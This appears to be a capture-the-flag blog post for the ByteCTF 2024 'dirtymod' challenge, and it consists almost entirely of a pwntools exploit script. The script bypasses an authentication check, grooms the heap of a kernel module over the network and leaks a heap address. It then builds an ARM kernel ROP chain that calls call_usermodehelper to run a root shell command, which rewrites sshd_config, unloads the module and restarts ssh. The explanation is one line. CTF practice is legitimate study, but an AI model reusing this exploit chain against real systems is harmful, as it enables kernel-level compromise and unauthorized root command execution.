[ayoung@blog posts]$ cat ./bytectf 2024 dirtymod.md

bytectf 2024 dirtymod

[Last modified: 2026-02-09]

环形结构 回绕造成问题

exp

from pwn import*
context.log_level="debug"
ip = "127.0.0.1"
port = 2325

# ip = "113.201.14.253"
# port = 35812

def create_bypass_payload():
    payload = bytearray()

    for i in range(16):
        if i == 0:
            offset = 248  # 0xF8
            value = 1  # 要写入 buf[504] 的值
        else:
            offset = 0  # 在允许范围内的偏移
            value = 0  # 任意值
        payload += struct.pack("BB", offset, value)
    return payload

def auth(r):
    r.recvuntil(b"please input 0 or 1")
    r.send(b"\x01"+create_bypass_payload())

def _server(opt,len=0,context=''):
    r=remote(ip,port)
    auth(r)
    r.recvuntil(b"server or client ?")
    r.send(b'\x01')
    r.recvuntil(b"[+] hello server\n")
    r.send(opt)
    data = ''
    if opt=='\x30':
        r.recvuntil(b"[+] create puredata\n")
        r.send(p16(len))
        r.send(context)
    if opt=='\x10':
        r.recvuntil(b"[+] say hello\n")
        r.send(p16(len))
        r.send(context)
    if opt =='\x20':
        r.recvuntil(b"[+] do opt func\n")
        r.send(p16(len))
        r.send(context)
    if opt =='\x00':
        r.send(p16(len))
        data = r.recv()
    r.close()
    return data

def _client():
    r=remote(ip,port)
    auth(r)
    r.recvuntil(b"server or client ?")
    r.send(b'\x00')
    r.recvuntil(b"[+] hello client\n")
    r.send(b'\x10')
    r.recv()
    data=r.recv()
    r.close()
    return data

def _client_20():
    r=remote(ip,port)
    auth(r)
    r.recvuntil(b"server or client ?")
    r.send(b'\x00')
    r.recvuntil(b"[+] hello client\n")
    r.send(b'\x20')
    r.close()

def str_change(payload,str,idx):
    return payload[0:idx]+str+payload[idx+len(str):]

def _rop(heap,cmd):
    payload=b'\x00'*0x2000
    stack=0x1000
    save_sp=0x1500
    agr=0x1700
    sl=0x1800

    payload=str_change(payload,b"/bin/sh\x00",agr)
    payload=str_change(payload,b"-c",agr+0x10)
    payload=str_change(payload,cmd,agr+0x20)
    payload=str_change(payload,p32(heap+agr),agr+0x100)
    payload=str_change(payload,p32(heap+agr+0x10),agr+0x100+4)
    payload=str_change(payload,p32(heap+agr+0x20),agr+0x100+8)
    '''
    0x8051ef90:	ldr	r3, [r0, #400]	; 0x190
    0x8051ef94:	ldr	r2, [r3, #124]	; 0x7c
    0x8051ef98:	cmp	r2, #0
    0x8051ef9c:	beq	0x8051efb0
    0x8051efa0:	blx	r2
    '''
    payload=str_change(payload,p32(heap),0x190)  #r3
    payload=str_change(payload,p32(0x8049dd4c),0x7c)  #r2

    '''
    0x8049dd4c <hvc_push+12>    ldr    r2, [r0, #0xec]
    0x8049dd50 <hvc_push+16>    ldr    r1, [r0, #0xe4]
    0x8049dd54 <hvc_push+20>    ldr    r3, [r3, #4]
    0x8049dd58 <hvc_push+24>    ldr    r0, [r0, #0xf0]
    0x8049dd5c <hvc_push+28>    blx    r3
    '''

    payload=str_change(payload,p32(0x802d4d18),0xec)  #r2
    payload=str_change(payload,p32(heap),0xe4)  #r1
    payload=str_change(payload,p32(0x80694958),0x4)  #r3
    payload=str_change(payload,p32(0x80694958),0xf0)  #r0

    '''
    0x80694958 <rpcauth_list_flavors+76>     mov    r0, sp
    0x8069495c <rpcauth_list_flavors+80>     blx    r2
    '''

    '''
    0x802d4d18 <nfs_pgio_result+8>     ldr    r3, [r1, #0x3c]
    0x802d4d1c <nfs_pgio_result+12>    mov    r5, r0
    0x802d4d20 <nfs_pgio_result+16>    ldr    r2, [r1]
    0x802d4d24 <nfs_pgio_result+20>    ldr    r3, [r3, #0xc]
    0x802d4d28 <nfs_pgio_result+24>    blx    r3
    '''
    payload=str_change(payload,p32(heap),0x3c) #r3
    payload=str_change(payload,p32(heap+stack),0)  # r2
    payload=str_change(payload,p32(0x8010c03c),0xc) #r3

    '''
    0x8010c03c <cpu_suspend_abort+12>         mov    sp, r2
    0x8010c040 <cpu_suspend_abort+16>         pop    {r4, r5, r6, r7, r8, sb, sl, fp, pc}
    '''
    payload=str_change(payload,p32(save_sp+heap),stack)
    payload=str_change(payload,p32(0x8017c0f0),stack+4*8)
    '''
    0x8017c0f0 <tick_handover_do_timer+76>    str    r0, [r4]
    0x8017c0f4 <tick_handover_do_timer+80>    pop    {r4, pc}
    '''
    payload=str_change(payload,p32(0x804282e4),stack+4*10)
    '''
    0x804282e4                                pop    {r1, r2, r3}
    0x804282e8                                sub    r0, r0, r1
    0x804282ec                                rsb    r0, r0, r2
    0x804282f0                                pop    {r4, pc}
    '''
    payload=str_change(payload,p32(0),stack+4*11)
    payload=str_change(payload,p32(0),stack+4*12)
    payload=str_change(payload,p32(0x804282e4),stack+4*13)
    payload=str_change(payload,p32(0x8010c020),stack+4*15)
    '''
    0x8010c020 <__cpu_suspend+96>             pop    {r0, pc}
    '''

    payload=str_change(payload,p32(0x80136dec),stack+4*17)

    '''
    0x80136dec <module_attr_show+32>          pop    {lr}
    0x80136df0 <module_attr_show+36>          bx     r3
    '''
    '''
    0x804282e4                          pop    {r1, r2, r3}
    0x804282e8                          sub    r0, r0, r1
    0x804282ec                          rsb    r0, r0, r2
    0x804282f0                          pop    {r4, pc}
    '''
    payload=str_change(payload,p32(0x8010c040),stack+4*19)
    payload=str_change(payload,p32(heap+save_sp-0x24),stack+4*22)
    payload=str_change(payload,p32(0x8022b754),stack+4*23)

    '''
    0x8022b754 <dio_complete+120>    ldr    ip, [r4, #0x24]
    0x8022b758 <dio_complete+124>    stm    sp, {r7, ip}
    0x8022b75c <dio_complete+128>    blx    r1 
    '''
    '''
    0x8010c040 <cpu_suspend_abort+16>         pop    {r4, r5, r6, r7, r8, sb, sl, fp, pc} <0x8010c040>
    '''
    payload=str_change(payload,p32(heap+sl),stack+4*30)
    payload=str_change(payload,p32(0x804282e4),stack+4*32)

    '''
    0x804282e4                                pop    {r1, r2, r3}                  <0x8010c040>
    0x804282e8                                sub    r0, r0, r1
    0x804282ec                                rsb    r0, r0, r2
    0x804282f0                                pop    {r4, pc}
    '''
    payload=str_change(payload,p32(heap+agr+0x100),stack+4*33)  #r1
    payload=str_change(payload,p32(0x8010c020),stack+4*37)  #pc

    '''
    0x8010c020 <__cpu_suspend+96>             pop    {r0, pc}                      <0x8010c020>=
    '''
    payload=str_change(payload,p32(heap+agr),stack+4*38)
    payload=str_change(payload,p32(0x80101524),stack+4*39)
    '''
    0x80101524 <secondary_startup_arm+100>    mov    sp, ip
    0x80101528 <secondary_startup_arm+104>    ldr    ip, [sl, #0x10]
    0x8010152c <secondary_startup_arm+108>    add    ip, ip, sl
    0x80101530 <secondary_startup_arm+112>    mov    pc, ip
    '''
    call_usermodehelper=0x8012f990
    offsets=(call_usermodehelper-(heap+sl))&0xffffffff
    payload=str_change(payload,p32(offsets),sl+0x10)

    return payload

# 7f00099c
_client_20()

#   0                                            0xf
#  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |

_server('\x20',0x1001,'a'*0x1001)
_client_20()
_server('\x10',0x1000,'a'*0x1000)
_server('\x10',0x1000,'a'*0x1000)
_server('\x30',0x1000,'b'*0x1000)
_client()
_client()
for i in range(12):
    _server('\x20',0x100,'a'*0x100)
_server('\x10',0x1000,'d'*0x1000)
_server('\x10',0x1000,'d'*0x1000)
_server('\x10',0x1000,'d'*0x1000)
data=_client()
heap = u32(data[:4])

# cmd=b'echo hello1 > /tmp/hacked'
cmd=b'sed -i \'s/Port 22/Port 2326/g\' /etc/ssh/sshd_config ;rmmod dirtymod;service ssh restart;sleep 2;'
payload = _rop(heap, cmd)

success(hex(heap))
_client_20()
_server('\x20',0x1000-1, p32(heap)[1:4]+p32(0x8051ef90)+p32(0)+(0x1000-0xc)//4*b"\x00")
_server('\x10',0x2000, payload)
_server('\x10',0x2000, payload)
_server('\x10',0x2000, payload)
_server('\x10',0x2000, payload)
_client()